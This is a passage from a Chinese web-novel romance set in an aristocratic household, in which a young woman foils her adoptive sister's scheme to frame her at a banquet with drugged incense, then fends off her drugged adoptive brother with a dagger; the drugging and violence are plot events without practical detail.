但永安侯府,将军府,一个个的上蹿下跳。
既然他们不让他好过,那就都去死好了。
赵太后瞠目结舌,不可置信道:“你杀人了?!”她捂着心口,信息量太大,让她一时之间不知道该说什么。
“没有。”赵咎轻描淡写道,“刘氏好歹是个侯夫人,我没动她,就简单划烂了姜宝瑜的脸。”
赵太后眼前一黑,险些气晕过去!
什么叫简单划烂了脸?
这要是不简单,他岂不是直接要人命?!
郑女官眼观鼻鼻观心,大气也不敢出。
赵咎说完,也不顾忌赵太后的心情,行礼之后便施施然离去。
“疯了,真是疯了!”赵太后喃喃道。
自从母亲病逝后,她对幼弟心疼万分,可谓是要星星不给月亮,也幸亏赵家家教严格,赵太后也坚信自家幼弟宠辱不惊,是绝不会成为那等肆意妄为的纨绔子弟!
没想到……
“他为了个女人,开始发疯了!”
“娘娘息怒。”郑女官劝道,“九郎正是年轻气盛的时候,若强加阻拦,只怕适得其反,倒不如先顺着他……”
外头宫人匆匆忙忙进来,跪拜道:“娘娘,大事不好!”
“蜀郡传来噩耗,巴清县地动不止,山崩大乱,卫国公一干人等……掉入缝隙,生死不明!”
赵太后怔在原地,喃喃道:“灾星,那姜氏女果然是个灾星!”
说完,整个人彻底晕了过去。
“娘娘!”一众宫人惊呼道。
而此时,卫国公府也得到了消息。
王氏乍然得知噩耗,几乎险些晕倒,还是姜璎眼疾手快抱住她。
还在读书的小辈全都赶回家中,一个个脸上难掩慌乱,直到看见赵咎。
“小叔!”
“不会有事的。”赵咎道,短短一句话,给人十足的安全感。
邢医官从内室走出来,一手提药箱,一手抹虚汗,对着赵咎道:“绝不能让世子夫人再受惊吓,更不能操劳半分!”
王氏这些年毒素堆积体内,看似身体康健,实则外强中干,早就亏空地不成样子,就连这一胎都是硬保下来的。
王氏的几个孩子面色发白,道谢之后忙不迭进去看望母亲。
姜璎见状便退了出来。
“赵九郎君,邢医官。”她对这两人微微低头行礼,脸颊还有些红肿。
刑如风难得一脸严肃,没有和平时那样嬉笑玩闹。
“阿劫,你家今年也算是多事之秋了,国公爷……”
“一时半会死不了。”赵咎言简意赅,既然重活一世,他自然不会放任惨剧继续发生。
蜀郡消息快马加鞭到盛京也要好几日,在此之前,他就已经做好万全准备,与卫国公一干人等掉入地裂缝隙的噩耗一同传来的,是赵家密信。
他派去保护父亲的人早在两日前便安顿好一切,掉入缝隙的是早早找好的替身,一个身形肖似卫国公的死囚犯。
刑如风也不多问,十分识趣地给这对未婚夫妻腾出地儿。
赵咎手头还有很多事情要做,没有久留,抚了抚姜璎的脸颊,低头对她耳语几句,“……你告诉大嫂,不要担心,一切还有我呢。”
姜璎微微睁圆眼睛,望着赵咎的目光满是崇拜。
“嗯!”她重重点头,就迫不及待跑进去告诉王氏这个好消息。
“阿……”赵咎伸出的手落了个空,孤零零凝滞在半空,无人理会。
一阵风飘过,萧瑟伶仃。
赵咎头顶缓缓冒出一个问号。
她要嫁的人不是他吗?
为什么对大嫂比对他还要上心?
第43章 赴宴
姜璎压根没注意到赵咎的这点小情绪。
她虽然敏感多思,但从来不会把自己看得有多重要,更想不到会有人为她拈酸吃醋,在这点小事上斤斤计较。
姜璎等王氏的三个儿子离开,才走进去。
内室寂静无比,郑氏跪坐在软垫上怔怔出神。
另一边,辛夷端着药碗,服侍王氏用药,眼见用得差不多,侍立在一旁的仆婢奉上漱口清茶。
王氏漱了口,微微抬头,露出一个温柔而苍白的笑容。
“阿池,你来了。”
“夫人。”姜璎蓦地鼻尖一酸,她走到王氏身边,握住她冰凉的柔荑,“您别担心,赵九郎君说了,国公大人不会有事的。”
王氏听出了一点什么,看了眼辛夷。
辛夷道:“都退下吧。”
仆婢们应喏退下,郑氏起身而来,用充满希冀的目光望着姜璎,“阿池,阿劫怎么说?那地裂既然能合上,应该也能再打开吧?”
姜璎实话实说:“不太现实。”
地裂山崩,乃天灾之极,《汉书》曾记载,“武都山崩,杀七百六十人。”
由此可想而知,地裂再开有多么不现实。退一万步来说,就算真的打开,掉进去的人也不一定活着。
“不过,国公大人没有掉入缝隙。”姜璎补充道。
这一瞬间,王氏和郑氏的心情就像是坐了个过山车,从脑子空白一片到面上血色回转,郑氏差点一口气没上来,忍不住打了姜璎一下。
“你这死孩子,怎么不早说!吓死我了!”
王氏没有郑氏那么夸张,但一颗心落到了实处,总归踏实不少,“还好阿劫有准备……”她喃喃道。
姜璎眨了下眼睛,“赵九郎君还说,等江南水患结束,再过不久,世子和二郎君就可以回来了。”
郑氏惊喜道:“真的?”
姜璎信誓旦旦道:“赵九郎君说的,一定不会有假!”
郑氏嘴角一抽,目光狐疑地看着姜璎,这孩子,张口闭口都是赵咎,不会被下迷魂汤了吧?
得知丈夫即将回来,王氏也不免松了口气。
她打起精神,开始有条不紊地安排家中的一切。
赵家规矩甚严,又都是家生子,所以尽管这段时间发生了许多事情,下人们也依旧和平时一样,该干嘛干嘛。
过了两日,姜璎脸上的伤终于恢复如初,王氏便让她跟着郑氏学习管家一事。
郑氏也是大姓士族出来的嫡女,管家自然不在话下,如今王氏身子不适,又主动放权,她断没有推脱的道理。
姜璎于是跟在郑氏身边忙前忙后。
得她处处提点,可谓受益匪浅。
以前从来没有人教她这些,刘氏只会说,你要孝顺懂事,为大家考虑,不能只想着自己。
姜承祁说她难登大雅之堂,每每提起便是连声叹息。
他不知道,她学成琴棋书画,精通药理厨艺,只是因为永安侯夫妻需要一个高价而合格的货品。
管家算账,那是高门贵女、世家夫人必备的安身本事。
而姜璎接触的,是姬妾媚上的生存之道。
她是被规训长大的笼中鸟,是移栽进花盆的杂草,不管修剪几次,也始终成为不了名贵雅致的兰花。
郑氏与她相处几日,便发现了她藏在心底的深深卑怯。
这样可不行。
正好这日辛夷送来一张帖子。
“夫人,梁女君设宴,请您到府做客。”
“梁女君?”仆婢掀开帘子,郑氏和姜璎走进来。
辛夷微微欠身,道:“梁女君近日新得一株名贵的兰花,想请大家观赏。”
郑氏听完,嘴角不由弯起一丝嘲讽的弧度,对姜璎低声解释起来。
说来这位梁女君和王氏还有着千丝万缕的关系。她是琅琊王氏收养的女儿,因为在王老夫人跟前长大,关系十分亲近,名义上来也算是王氏的姑姑。
梁女君自从嫁给吴郡陆氏的嫡次子,便随同夫君去任上待了十多年,近些年才回来的盛京。
姜璎好奇问:“夫人和梁女君的关系好吗?”
“关系寻常。”王氏摇了摇头,她这个姑姑虽说为人和善,但一向深居简出,只喜欢在家侍弄花草、练字静心,她们之间并没有很深的交集。
王氏估摸梁女君也是关心卫国公府近况,既然如此,他们干脆就借着这场宴会,平息外头的一些流言。
“阿郑,让绣房给阿池多做几身新衣裳,到时候我们一起过去看看热闹。”
“都听大嫂的。”郑氏恭敬道。
姜璎迟疑道:“我也要去吗?会不会……不大合适。”
郑氏不以为然,“家中女眷就我们几个,你不去,谁帮我一同照顾大嫂?”
姜璎一听也是,连忙道:“我去!”
王氏含笑看着她们,这段时日,姜璎完全成了郑氏的小跟班,赵咎颇有微词,挂了好几天脸,见没人理他,只好默默收拾情绪,去忙自己的事情。
到了赴宴那日,郑氏拿出了自己压箱底的陪嫁,把姜璎打扮的漂漂亮亮,就连阅美无数的王氏都忍不住面露赞美之色。
姜璎没有穿过分出挑的服饰,一身粉黄衣裙,腰间缀着一个淡粉色花结,长裙下摆绣了许多小碎花,一眼望去,娇嫩得就像是春天的花骨朵。
头发也做了简单的打扮,细软的发丝挑了大半编成几根发辫缠绕成一束,其余披散肩头,唯一的配饰就是发辫上的宝石发带,细长精致,又闪烁着璀璨华彩。
大家惊叹的目光令姜璎越发拘谨,郑氏却不许她低头。
“你又没做错事情,老低着头做什么?拿出我们卫国公府的气派,抬起头,给我堂堂正正做人!”
姜璎不由直了直身板,她的仪态向来很好,只是藏着怯意,总是觉得自己低人一等。
王氏没发现哪里不对,但郑氏性子直接,自然看不惯她这样的性子。
到了陆家,梁女君身边的仆婢上前恭迎她们入内。
“世子夫人,郑夫人,姜姑娘,这边请。”
她们来的不早也不晚,席面上已经有了不少人。
姜璎跟在郑氏身边,努力装出一副镇定自若的模样。
直到目光轻瞥,看见了本不该出现在此的人。
第44章 不怀
郑氏一直关注着姜璎,察觉她情绪不对,便顺着她的目光望去。
不远处,刘氏面上挂笑,正同几位相熟的夫人客气寒暄。
她身边站着一个身形消瘦的少女,桃粉色的襦裙,头上垫了发包梳成一个髻,最为突出的是脸上的面纱,让人不禁侧目。
郑氏微微挑眉,想到赵咎前段时日的所作所为,心里有了数,哂笑道:“这就是永安侯府的大姑娘?还真是个人物。”
寻常女子被毁了容,不是要死要活就是闭门不出,她却跟个没事儿人似的,也不知道是不是又打了什么主意。
就在这时,梁女君派来的贴身仆婢请王氏过去一趟,王氏朝刘氏那边看了一眼,到底不放心,叮嘱郑氏道:“阿郑,你看顾好阿池。”
郑氏点了点头:“大嫂放心。”
姜璎心中内疚不已,只觉得又给大家带来麻烦,迟疑道:“要不,我还是先回去吧。”
不知道是不是心理作用,她看见姜宝瑜的那一瞬间,就开始隐隐不安,总觉得会有什么事情发生。
姜璎小声道:“我觉得她们是冲着我来的。”
“我在这呢,你怕什么?”
郑氏横她一眼,“再者说,要真冲你来的,你就是躲她们一辈子,她们也不会放过你。”
只有千日做贼,哪有千日防贼的道理?
姜璎的脑海忽然掠过一道白光,快得让人几乎抓不住尾巴。
她心跳加快,如闷鼓乍响耳边。
咚。
咚。
咚。
郑氏微微低头,有局促的手指轻轻拉住自己的衣袖。
姜璎张了张嘴,“二……”
“嗯?”
“二、二嫂。”到嘴边的话硬生生拐了个弯。
郑氏这才面露满意,和颜悦色地问:“怎么了?”
姜璎深呼吸,也不知道哪儿来的勇气,道:“二嫂,我想验证一二,看看她们是不是冲我来的。”
郑氏此刻并未多想,只是为姜璎从厚重龟壳中探出头来而感到欣慰,她欣然答应:“好啊。”
郑氏长这么大,还从来不知道退缩二字怎么写。
更何况,区区一个永安侯府,又有什么好怕的?
郑氏领着姜璎走过去。
“郑夫人!”
“呀,阿郑,难得见你一面呢。”
郑氏出身高贵,嫁的又是门当户对的大姓士族,自然而然,她到哪儿都会受到热情招待。
这种时候,往往就能看出一个女人的地位。
刘氏虽然也是士族出身,但彭城刘氏远及不上荥阳郑氏,永安侯更不可能同颍川赵氏相提并论,他们不过只是天水姜氏的远亲,连旁系都算不上。
刘氏见一众夫人围到郑氏面前,不禁面露怨恨之色,但又很快给她掩盖下去,神情不自然地同郑氏问好。
她身边的姜宝瑜微微垂眸,声音低柔:“见过郑夫人。”
郑氏不由打量了她一眼。
不得不说,姜宝瑜生了一双极其漂亮的无辜眼,每每眼角微微往下倾斜,便给人一种楚楚可怜的柔弱感,戴上面纱后也愈发显得眸光盈盈,惹人怜爱。
难怪把常六那小子迷得神魂颠倒,不知所谓。
郑氏轻轻一哂,漫不经心道:“真是冤家路窄,哪哪都有你们。”
毫不客气的话宛如一把利剪,撕破大家脸上的遮羞布,令原本融洽和缓的气氛陷入冷凝。
刘氏面色僵硬难看,姜宝瑜低着头,泪水盈睫,看着好不可怜。
有夫人打圆场道:“阿郑,你这话是什么意思?怕不是有什么误会在里头吧?”
郑氏笑道:“林姐姐还不知道吧?前几日,刘氏母女当街掳走了我们家阿池,要不是九郎赶到,只怕再晚些还要闹出人命。”
“我可真没想到,这两人做出这种事情,竟然还有脸出门。”
声音难掩讥讽。
顿时,四周好几道目光落在姜璎身上,或惊讶或同情,或审视或怜惜,让她难以适从。
但郑氏不容许她退缩,更不许露出半点怯意。
姜璎于是绞尽脑汁学着记忆之中赵咎的冷酷模样,嘴角微抿,眼神沉静,乍一看确实还挺唬人。
于是若有若无的目光瞟向刘氏母女。
似乎在说:哦?这可和你说的不大一样啊。
刘氏一下子绷不住,狠狠地剐了姜璎一眼,冷笑道:“你们赵家纵子行凶,肆意妄为,都有脸出来招摇过市!我们身为苦主,难道还来不得做客吗?”
“我好好的两个女儿,一个被赵咎花言巧语拐骗离开,弃亲情于不顾!一个为了维护妹妹,反被赵咎行凶伤害!”
刘氏滚出热泪,恨声道:“你们卫国公府权势滔天,胡作非为还不够,非要把我们一家囚困起来,活活逼死才肯罢休吗?!”
姜宝瑜扶着母亲,豆大的泪珠在眼眶打转,低声道:“郑夫人,我阿娘没有冒犯您的意思,只是您恐怕误会了……”
泪珠砸在地上,她微微抬眸,流露出一丝倔强之色。
“我们是奉太后娘娘的口谕,带妹妹回家悉心教导,学习规矩。没有同卫国公府知会一声,也是因为赵九郎君行事太过霸道,他既然要聘我妹妹为妻,又怎能将她拴在身边,不许她与我们接触?这究竟是妻,还是妾?”
郑氏微微眯眼,还未说话,身边的人就仿佛被触碰到了什么开关。
“你胡说。”姜璎眼中闪过一抹怒火,一字一顿道,“赵九郎君亲自入宫求证,太后娘娘痛斥尔等居心叵测!根本没有口谕这回事!”
“阿池!”刘氏被气得面色发白,痛心疾首道,“一向乖巧,怎么碰到赵咎就这样糊涂!难道,真的像外头所说,你早就与他有了苟且……”
“阿娘!”
姜宝瑜声音颤抖道:“我相信妹妹,她是绝不会做出那种事情的。既然、既然她同赵九郎君情投意合,我们就成全她吧。”
一唱一和,好不精彩。
饶是郑氏都忍不住要为之喝彩。
说真的,她要不是卫国公府的人,也要相信这对母女口中的一切。
模糊掉了掳人行径对姜璎的伤害,又只字不提之前替嫁的丑事。
口口声声都是赵咎的不是。
当然,她们越是维护姜璎,别人就越容易往歪处想。
什么情投意合?
说穿了不就是私相授受,暗通款曲?!
永安侯府再多不是,也养大了姜璎,她倒好,竟然为了一个士族郎君同养母顶嘴呛声。
姜宝瑜扶着刘氏,轻声道:“阿娘,既然已经见过妹妹,您就放下心,我们回去吧。”
姜璎面色铁青,愤怒之中还带着一丝困惑。
她们来这里,就是为了这一出戏码?
刘氏母女还没走两步,就有一个婢女走出来,叫住她们:“刘夫人,姜大姑娘,且慢!”
第45章 好意
宴席尚未开始,便闹出不小的动静,梁女君身为主人家,面子上也不好看。
她是礼数周全,给永安侯府下了帖子,却没想到刘氏当真会带着女儿过来。这既然来了,自然就不好让人一走了之。
婢女柔声道:“素闻姜大姑娘蕙质兰心,我们女君特意为您选了一株建兰,还请二位赏脸,移步兰苑一观?”
刘氏冷笑一声,说得好听,不就是得罪不起卫国公府,选择委屈她们吗?
姜宝瑜温柔道:“那就多谢梁女君好意,有劳带路了。”
婢女松了口气,没想到这位姜大姑娘如此通情达理,想来只要把两家隔得远远的,也就不会再出什么事儿了。
姜璎看着刘氏母女跟随仆婢离开,心中疑虑愈深。
说不上来,但就是感觉哪哪都不对劲。
郑氏也纳闷,话都说到这个份上了,刘氏母女还不肯走。她们到底打得什么主意,竟然这样沉得住气?
其实刘氏也不知道姜宝瑜要做什么。
自从被赵咎削发毁容,姜宝瑜整个人的精神状态就开始不大正常,刘氏时常看见女儿跪坐在铜镜前抚摸自己的脸,偶尔喃喃自语,也是说些让人听不懂的话。
刘氏是不想让姜宝瑜出来的,她怕外头的流言蜚语影响女儿心情,奈何姜宝瑜一意孤行,宁愿戴面纱也要出席这种场合,还不肯告诉她来的目的。
刘氏有些伤心,难道在阿宝眼里,她这个做母亲的还不值得信任吗?
“阿池。”郑氏唤了一声。
姜璎立马摒弃杂念,跟在郑氏身边一一唤人。
在来之前,她就已经背了大半士族之间的关系链,今日根本无需郑氏指点,她就可以根据衣着打扮,认出来人身份。
姜璎的周全礼仪倒是令不少人有所改观。
看在郑氏的面子上,大家也没有说什么,一个个嘴角含笑,欣赏美景,和谐共处。
到了开席的时辰,仆婢们领着诸位夫人一同入座。
席面设在苑中,曲水流觞,巴掌大的碟子顺着蜿蜒流水一路往下,桃花纷飞间,乐声悠扬。
梁女君一向喜爱花草,为此府里专门设了一个培育花木的暖房。
姜璎还是第一次参加这种宴席,面前的精致糕点呈于莲瓣之中,因为用得是早荷,粉白清嫩,十分赏心悦目,让她一时之间不知道该怎么下口。
因是流觞席,席面没有茶水,只每人面前放了一壶酒。
姜璎端起酒盏,却并没有喝。
就在这时,身后的婢女不知怎的忽然摔倒在地,连带着碰到姜璎,酒水晃荡而出,好些溅在了衣裳上。
“奴婢该死!”这是郑氏的陪嫁,平日最是谨慎不过,是不可能犯这样低级错误的。
“二嫂。”姜璎轻轻拉了一下郑氏,示意她往地上看。
青石板路一向干净,此刻却静悄悄躺着一颗小石子。
郑氏胸口微微起伏,扯出一个笑来,“起来吧,毛手毛脚的,让大家看了笑话。”
最前头的梁女君和王氏听见这边动静,不禁侧目。
王氏暗自皱眉,心里有种不好的预感。
衣裳被污,姜璎免不了去更衣,好在她们出门都会随身带几套衣服,以备不时之需。
陆家的下人连忙过来道:“姜姑娘可是需要更衣?”
附近有客院,就是为了方便客人应对突发状况。
郑氏正好起身,陪同姜璎一起。
“二夫人。”姜璎拉了她一下,歉意道,“我自己去就好,扫了大家的兴致,还请见谅。”
“阿池?”
这孩子怎么回事?都看出来了是有人背后搞鬼,还不让她跟着一起?
郑氏哪里肯放姜璎一个人离开。
然而,姜璎像是下定什么决心一般,轻轻拿开了郑氏拉住自己的手,郑重其事道:“二夫人放心,我去去就回。”
四目相对,郑氏看出了她眼中的意思。
姜璎这是想以身涉险。
郑氏咽了咽口水,这要是被赵咎知道……
姜璎不着痕迹地看了一眼刘氏母女的座位,只看见刘氏一人,而姜宝瑜却不知所踪,心下了然,朝领路的下人道:“麻烦了。”
下人恭恭敬敬道:“姑娘客气,您这边请。”
郑氏连忙让仆婢跟上去,一人去牛车里取备用的衣裳,一人则跟在姜璎身边。
领路的下人带着姜璎来到一处客房。
“姑娘,先坐着等会儿吧。”仆婢温声道,另一人去取衣裳还没回来。
姜璎想到了香薷香附,自从上次她被刘氏母女掳走,她就再也没有看见她们。
她求王氏,王氏去找赵咎,结果也是一样。
这也让姜璎意识到,赵咎其实并不是一个好说话的人……
她更加谨慎小心,不敢有半点行差踏错,以免惹他不快。
精致小巧的香炉吐出袅袅烟丝,熏香扑鼻。
姜璎起先没有注意,后面隐约察觉出身体的异样,立马拿起桌上茶水,尽数倒进香炉!
“姑娘。”婢女有些慌乱,“奴婢忽然提不上力气了。”
是加了软筋散的熏香。
姜璎被下过药,一回生二回熟,倒是没有慌乱。
她大概能猜出姜宝瑜的用意。
梁女君的席面,偏僻的客院,以及准备换衣裳的她。
这种情况下,不来个外男真是可惜了。
姜璎走到窗牖边,陆家的下人倒是十分尽心地等在外头。
很快,郑氏身边的仆婢取来了干净的衣裳。
姜璎没有换上,而是对她道:“你去找个隐蔽的地方躲起来,一旦看见有外男往这边来,就去禀报二夫人她们。”
外男?
两个婢女吓了一跳。
但见姜璎如此镇定,她们也跟着稳住阵脚。
“去吧。”
“是。”
姜璎在屋里头转了一圈,只找到一根捶腿棒,这个不行,敲不晕人。
就在她寻找趁手的武器时,姜宝瑜跟在姜承祁身边,焦急道:“阿兄,你小心些,别让人看见!”
姜承祁压着怒火,确认似的又问了一遍,“阿宝,你真的看见常六过来了?还跟踪阿池?”
姜宝瑜点了点头,满脸忧愁道:“我不知道他是不是还记恨妹妹,阿兄,你可千万别冲动,不然让大家知道妹妹和外男共处一室,她可就毁了!”
第46章 匕首
毁了才好。
毁得越彻底越好。
姜宝瑜望着姜承祁匆忙的背影,面纱下的嘴角微微上挑,眼神冰冷至极。
她一母同胞的嫡亲兄长,嘴上口口声声永远疼爱她、维护她、信任她,结果只要听见姜璎的一点风吹草动,就立马把她抛之脑后。
姜宝瑜想起那灰暗的一日,自从她回到永安侯府,就再也没有经受过如此绝望与痛苦。
她对姜璎还不够好吗?
她不过就是想让姜璎经受一遍她所尝过的苦楚,她甚至都没有将她赶出永安侯府!
可是姜璎……
看着不声不响,却藏着一身反骨。
她为什么不能乖乖嫁给常无忌?将军府有什么不好?一个养女,难道还妄想登天不成!
姜宝瑜轻轻触碰面颊,已经结了痂的伤口还在隐隐作痛,让她不禁回忆起那日的场景:她倒在地上,只能眼睁睁看着自己被削去发丝、划烂容颜,剧痛伴随着无尽的羞辱,却毫无反抗余力。
姜宝瑜无法不生出怨恨。
赵咎凭什么这么对她?
就为了给姜璎出气?
可她只是担心她的好妹妹,想要检查一二她是否还是清白之身,她又有什么错?!
最为可恨的,还是姜承祁。
他回到家中,明明都已经看见她躺在床榻上,脸上赫然一条长长伤口,触目惊心!她的容颜、发丝,甚至是自尊,都被毁的一干二净!
可是姜承祁呢?
他竟然开口第一句问的是:“阿池人呢?”
“呵、呵呵……”低低的冷笑声在角落响起,姜宝瑜不紧不慢回到宴席,准备下一场好戏。
阿兄啊阿兄,既然你这么关心姜璎,就去陪她吧。
左右你的世子之位悬而未定。
索性也让我看看,前途和妹妹,名声和亲情,到底是哪个更重要。
今日被宴请的都是女客,但姜宝瑜开口想要哥哥来接,姜承祁担心妹妹被人嘲笑欺负,想也没想答应下来,特意推了其他事情过来。
他没想到,常无忌竟然贼心不死,胆大包天到这种地步!
在别人的家里,他想对姜璎做什么?
他是要毁了她吗?
姜承祁抓住一个仆婢,厉声询问她姜璎前往更衣的客房到底在何处。
他不能再耽搁了,要是晚了一步……
“姑娘,咱们真的要一直这样等下去吗?”婢女天冬担忧道,若是被人知道。
姜璎道:“就是要让人知道。”
啊?
姜璎跪坐在软垫上,面前是叠放得整整齐齐的衣裳。
她在想,来的人会是谁呢?
应当不至于是乞丐杂役一流。
陆氏清流门第,再怎么疏忽也不可能让那种人混进府里。
太显眼,且不足以让人相信。
难道是常无忌?
姜宝瑜的裙下之臣,指哪儿打哪儿的忠犬恶狗。
不对。
姜璎记得赵咎说过一嘴,自从上次常无忌被送回将军府,常家夫妇便将他看得死死的,决不允许他踏出院子半步。
至于姜宝瑜的信件,那更是想都别想!
常家夫妇恨透了赵咎和姜璎,更不要说姜宝瑜这个唆使自家儿子干蠢事的罪魁祸首!
就在姜璎暗自猜测时,窗牖处响起一丝细微动静。
“姑娘!来人了!”麦冬低声汇报。
姜璎起身,看了天冬一眼,两人一个躲在转角处,一个躲到了衣柜后面。
外头响起领路下人的声音。
“姜大郎君?您怎么能入内宅!”
——姜承祁?!
姜璎和天冬对视一眼,都在对方眼里看到了震惊。
“姜璎是不是在里面?”姜承祁急急问道。
“是,但您不能进去……”下人的阻拦反而引起姜承祁的怀疑,他误以为此人受常无忌指使,一把将之掀倒在地,“滚开!”
三两步来到房门前,姜承祁拍了拍门,低声道:“阿池?阿池你还好吗?”
姜璎迟疑片刻,终究还是没有选择出声。
姜承祁只觉身体里有把火在烧,随着时间的流逝,愈烧愈烈、愈烧愈猛。
像是要把一切理智都蚕食!
“哐——”的一声,房门被强行打开。
姜承祁眼中满是焦急,额头甚至渗出汗水。他四处张望,终于在转角处看见了一片衣衫。
“阿池?”
姜承祁快步流星,来到姜璎面前,就见她浑身无力地靠着墙壁,面色微微发白,像是受到了莫大的惊吓。
他伸出手,被姜璎躲了过去。
“阿池,你怎么了?”姜承祁想好好说话的,但开口忍不住就带了一股火气,肉眼可见的急躁,“行了,跟我走!”
待在这里不知道什么时候常无忌就过来了。
姜璎定定地看着他,“你为什么会出现在这。”
姜承祁道:“都什么时候了还说这个?”他一把抓住姜璎的手,烫的人发出一声低呼,“啊。”
姜承祁愣愣地低头看着自己的手。
后知后觉,察觉出了一丝不对劲。
“怎么会……”这么热?
就算他跑的很急,也不至于口干舌燥、浑身滚烫。
姜璎闭了闭眼,她想了一圈人,都没想到……来的会是姜承祁!
“阿池……”姜承祁艰难道,呼吸滚烫无比,豆大的汗珠从额前滚落,甚至有那么一瞬间,面前的人都开始出现重影。
“这房间有问题……你快走。”他喃喃道。
姜璎没有动,轻声道:“是姜宝瑜让你来的,对吗?”
阿宝。
姜承祁脑海空白一片,几乎没有余力去思考真相,抑或者……他潜意识里抗拒真相,不愿去想。
姜璎从衣袖里取出匕首。
这是赵咎给她防身用的,思来想去,她今日还是带了出来。
“房间里的迷药已经被我用水浇灭。你觉得热,是因为姜宝瑜给你下药了。”
匕首慢慢露出寒芒。
手腕在发抖。
姜璎握紧防身的武器,挡在身前,但凡姜承祁做出任何举动,她绝不会手下留情!
姜承祁双目赤红,“不会的、不会的……”
脑海中的名为理智的弦应声而断。
他不由自主靠近姜璎,想要寻找散热的解决方法。
寒光一闪而过。
姜承祁吃痛一声,被血珠溅了一脸。
他捂着被划伤的手背,不可置信地看着姜璎,“你……”
姜璎握着匕首,厉声道:“你要做什么?”
第47章 落空
她眼神是前所未有的冰冷,充斥着抗拒和戒备,宛如一泼冷水,冲姜承祁兜头盖脸浇了下来。
手背的疼痛提醒着他方才发生的一切,她看见他的到来,没有任何庆幸欢喜,反而警惕十分。
姜承祁目光哀伤地看着面前的人,语气疲惫道:“阿池,你不必如此,我是来救你的。”
姜璎半点不信,眼中甚至出现了丝丝缕缕的敌意。
“你被下了药,而我浑身无力,一会儿会发生什么可想而知!就少在这冠冕堂皇、惺惺作态了!”
在姜璎看来,不管姜承祁知情与否,都是姜宝瑜的帮凶。
“姑娘!”天冬躲在衣柜后面,正好可以通过这个角度看到窗牖外的一切,她急急忙忙道,“世子夫人,还有永安侯夫人等人都往这边过来了!”
此刻,药效发挥的淋漓尽致。
姜承祁脑子嗡嗡作响,所有声音如同潮水般退去,视野一片模糊。
他什么都听不见,什么都看不清,只在烧灼的滚烫中,闻到一股淡淡的、若有若无的香气。
猝不及防的靠近。
姜承祁一把抓住了姜璎的肩膀,在瘙痒难耐的药力中,手背的疼痛都仿佛不值一提。
“阿、池……”他闭了闭眼,理智几乎要被焚烧殆尽,“动手吧,动手。”
说完,他再也忍受不住,嘴唇微微靠近姜璎,想要寻找疏解的办法。
呲拉——!
匕首避开要害,划破衣袖。
顷刻间,鲜血迸溅而出。
姜璎与他不过半臂距离,脸上不可避免被溅到几滴鲜血,她紧握匕首,努力不让手腕发抖。
“你要怪,就怪姜宝瑜为什么不肯放过我……”
如果没有浇灭香炉,她或许已经被神智不清的姜承祁撕碎衣裳,更甚至,不该发生的都已经发生。
等王氏等人推开门,就会看见寡廉鲜耻的一幕。
轻则,卫国公府的颜面扫地,重则……
王氏怒火攻心,惊动胎气!
想到这,姜璎心头涌起强烈的恨意,这个世上,给予她温情的人少之又少,他们就这么见不得她好!毁掉她还不够,还要伤害她所敬慕的长辈!
姜璎死死瞪着姜承祁,他捂着手臂,满脸痛苦。
外头响起下人的声音。
“世子夫人,刘夫人,方才……”
“方才是不是有外男进去了?”刘氏打断她的话。
下人愣了一下,简直莫名其妙!
她的儿子闯进内宅,她还有脸在这质问?!
刘氏不等下人回答,就迫不及待冲进去,姜宝瑜紧随其后,唤了一声“阿娘”,嘴上道:“妹妹不是那样的人……”
“夫人。”领路下人委屈地看向王氏身边的梁女君,“方才,姜大郎君匆匆忙忙过来,不顾奴婢阻拦,就冲了进去……”
她眼见不对,才赶忙去禀报了梁女君。
梁女君微微蹙眉,“姜大郎君怎么会到内宅?”
郑氏跟在王氏身后,听到这话,不由捏紧手心,密汗涔涔,心肝一颤一颤的,阿池啊阿池,你可千万不能有事啊。
忽然,屋里响起东西砸碎的声音。
令人不由心惊肉跳。
刘氏一把推开房门,“姜璎!你到底——”
怒斥声戛然而止。
“祁、祁儿?”刘氏声音发抖,不可置信地望着眼前的一幕,险些眼前一黑晕倒过去。
怎么会这样?
她的儿子,她的儿子!
“阿娘。”姜宝瑜扶住刘氏,面纱下的唇瓣微微勾起,眼神却是担忧至极,“妹妹,你怎么和阿兄……”
入目并非交缠的身体,而是满地狼藉。
和……
奄奄一息的姜承祁。
他倒在花瓶碎片中,额角一片红肿,不停往外渗血。整条胳膊更是惨烈,被鲜血浸透。
姜宝瑜瞳孔骤缩,未尽的话语再也说不出半句。
姜璎走出来,手中匕首尚未松开,鲜血顺着刀尖,一滴一滴落在地面。
她微微抬眸,脸颊眼尾残留着未干的血迹,淡淡道:
“姜大姑娘,我正想找你呢。”
“你对祁儿做了什么?!”刘氏尖声道,冲上来就要给姜璎一巴掌。
姜璎举起匕首,刘氏脸上一闪而过惊慌,不得不停下脚步。
看来还没有完全失去理智。
姜璎冷声道:“我还想问问你们,姜大郎君一个外男,怎么敢闯进内宅?又是谁给他下药,令他直闯客院?!”
说这话时,她目光直直看向姜宝瑜。
王氏等人走进来,看见姜璎没事儿,先是松了口气,又瞪了一眼郑氏,她竟然敢纵容阿池胡闹!
“刘夫人。”王氏冷冷道,“你是不是该给我卫国公府一个交代?”
“什么交代?”刘氏疾言厉色道,“现在躺在地上的是我的儿子!姜璎,我养你这么多年,不求回报,你反倒来谋害我的儿女!”
姜宝瑜听到这番话,心里默默松了口气。
还好,她就知道阿娘一定是站在她这边的。
左右阿兄已经昏迷……
“妹妹,阿兄是来接我们归家的,他为什么会出现在这,我想你才最清楚不过。”
姜宝瑜泪光楚楚,哽咽道:“我知道你一直不喜欢我,但阿兄是无辜的,他救了你,带你回永安侯府,无论如何,你也不能对他下手啊!”
姜璎纠正道:“是你让他过来的,他落得现在这般地步,也是你害的。”
刘氏自然维护自己的女儿,“你胡说八道什么?阿宝为什么要让祁儿过来找你?”
为什么?
自然是因为想让大家看见养兄妹私通的丑事。
姜璎羞于启齿,没想到刘氏开始咄咄逼人,“我说怎么这么巧,偏你弄脏了衣服,原来是打的这种主意!对我儿痛下杀手还不够,还要污蔑阿宝!”
“姜璎,我对你不薄啊!”她声泪俱下,心仿佛被切割成一片片,“你知不知道,祁儿这段时日一直挂念着你……”
刘氏既伤心女儿把长子牵扯进来,又痛恨姜璎手段狠毒,丝毫不留情面!
她既有防身的本事,又何必对祁儿痛下杀手?
“够了。”王氏冷声道,“陆家的待客之道,就是让外男随意进出内宅?若如此,日后恐怕没有女眷敢踏足半步!”
梁女君如梦初醒,怔怔地看着姜璎,好半天才找回自己的声音。
“是我不好……”
姜宝瑜暗暗咬牙,既然私通不成,那今日无论如何都要让姜璎背上杀害兄长的罪名!
如此,也不枉费兄长受伤的苦楚。
“妹妹……”
“阿宝。”
